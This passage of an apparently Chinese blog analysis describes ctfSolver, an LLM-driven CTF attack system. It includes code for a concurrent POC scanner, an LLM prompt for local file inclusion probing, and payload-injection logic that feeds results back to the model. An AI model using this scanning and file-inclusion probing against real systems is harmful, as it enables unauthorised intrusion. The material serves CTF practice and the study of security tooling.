poc.py 模块实现了一个并发的扫描器,它会读取 pocs/ 目录下的 YAML 配置文件,然后对目标 URL 进行批量测试。
class Scanner:
def poc_scan(self, page, key, task_id):
"""
POC扫描主函数 - 并发执行所有POC并汇总结果
"""
logger.info(f"开始POC扫描: {page['name']}")
# 获取所有POC文件
poc_files = self.get_poc_files()
# ... (消息通知逻辑省略)
# 并发执行POC扫描
results = {}
vulnerabilities = []
with ThreadPoolExecutor(max_workers=5) as executor:
# 提交所有POC任务
future_to_poc = {
executor.submit(self.execute_poc, poc_file, page.get("request")['url']): poc_file
for poc_file in poc_files
}
# 收集结果
for future in as_completed(future_to_poc):
poc_file = future_to_poc[future]
try:
result = future.result()
if result:
vuln_name = result.get('vuln_name', os.path.basename(poc_file))
results[vuln_name] = result
if result.get('vulnerable'):
logger.info(f"发现漏洞: {vuln_name}")
# 保存漏洞信息到数据库并通知 Server
# ... (数据库操作省略)
except Exception as e:
logger.error(f"POC {poc_file} 执行异常: {str(e)}")
return results
def execute_poc(self, poc_file, target_url):
"""执行单个POC文件,支持多步骤请求"""
try:
with open(poc_file, 'r', encoding='utf-8') as f:
poc_data = yaml.safe_load(f)
requests_list = poc_data.get('requests', [])
# 执行每个请求序列
for req_sequence in requests_list:
steps = req_sequence.get('steps', [])
if not steps: continue
# 执行步骤序列
result = self.execute_steps(steps, target_url, poc_name)
if result['vulnerable']:
return {
# ... (构造漏洞详情)
'vulnerable': True,
}
return {'vulnerable': False, ...}
except Exception as e:
return {'vulnerable': False, 'error': str(e)}6.2 智能漏洞利用模块 (agent/agents/vulns/*.py)
对于更复杂的漏洞,Agent 依赖 agents/vulns/ 下的专用模块。拿 LFI.py 来说吧,它不仅定义了检测逻辑,还为大模型提供了专门的 Prompt 和工具接口。
6.2.1 LFI 模块 Prompt 定义
模块首先定义了 prompt_detect,指导大模型如何使用工具进行检测。
prompt_detect = """
你需要严格按照以下流程进行本地文件包含检测:
你可以进行如下工具调用,你需要首先使用DEFAULT扫描内置载荷:
<tool>
<request><![CDATA[插入{LFI}标签后的request,json格式]]></request>
<value><![CDATA[DEFAULT(设置为DEFAULT则扫描系统内置载荷)/xxx(可以提供自定义载荷,可以使用逗号分割)]]></value>
<type>normal</type>
</tool>
LFI标签指的是在正常request请求中相应位置插入需要进行测试的标签,如:
{"url": "http://xx/page?file={LFI}", ...}
检测流程:
1. 首先使用通用检测工具进行LFI载荷测试
2. 分析通用载荷的执行结果,判断是否存在本地文件包含漏洞
3. 如果通用载荷测试失败,尝试以下策略:
- 上传文件包含:如果系统存在上传功能,可以进行文件上传
...
"""6.2.2 LFI 自动化检测逻辑
simple_detect 函数实现了具体的 Payload 投递和结果匹配逻辑。注意它是如何处理并发请求和结果去重的。
def simple_detect(request_json, response, param=None):
if param.get("type", "normal") == 'normal':
# ... (解析参数逻辑)
if param.get("value", "").lower() == "default":
payload = lfi_payload # 使用配置中的默认 Payload 列表
else:
payload = param.get("value").split(",")
results = {}
results_lock = Lock()
def test_lfi_payload(test_payload):
try:
# 构造新的请求,替换 {LFI} 占位符
new_request = json.loads(param['request'].replace("{LFI}", str(test_payload)))
# 发送请求
new_response = request.run(new_request)
# 简化响应内容用于去重(将 payload 替换回占位符)
simplify_content = new_response['content'].replace(str(test_payload), "{payload}")
# 线程安全地记录结果
with results_lock:
# ... (去重逻辑)
if not response_found:
results[simplify_content] = [str(test_payload)]
except Exception as e:
pass
# 并发执行 Payload 测试
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
futures = [executor.submit(test_lfi_payload, p) for p in payload]
concurrent.futures.wait(futures)
# 格式化返回给 LLM 的结果
result_info = []
for k in results:
result_info.append(f"载荷 【{','.join(results[k])}】: {k}\n")
return result_info这种设计使得 LLM 不需要手动构造大量 Payload,而是通过 XML 指令调用 Python 脚本进行批量测试,专注于分析返回的响应模式,极大地提高了效率和准确性。
7. 总结
ctfSolver 是一个高度模块化、智能化的 CTF 攻防系统。通过代码分析,我们可以看到:
- 架构设计:采用 Multi-Agent 架构,各组件职责单一、耦合度低。
- LLM 落地:通过精心设计的 Prompt 和 XML 协议,将 LLM 的推理能力转化为可执行的行动。
- 并发与异步:在 IO 密集型任务(如爬虫、扫描)中大量使用异步 IO 和线程池,保证了执行效率。
- 扩展性:基于反射的 Addon 系统,使得增加新的攻击工具变得非常简单。
深入剖析ctfSolver的Multi-Agent架构、LLM协同机制与可扩展工具链设计
由 AI 根据全文自动生成,仅供参考,以原文为准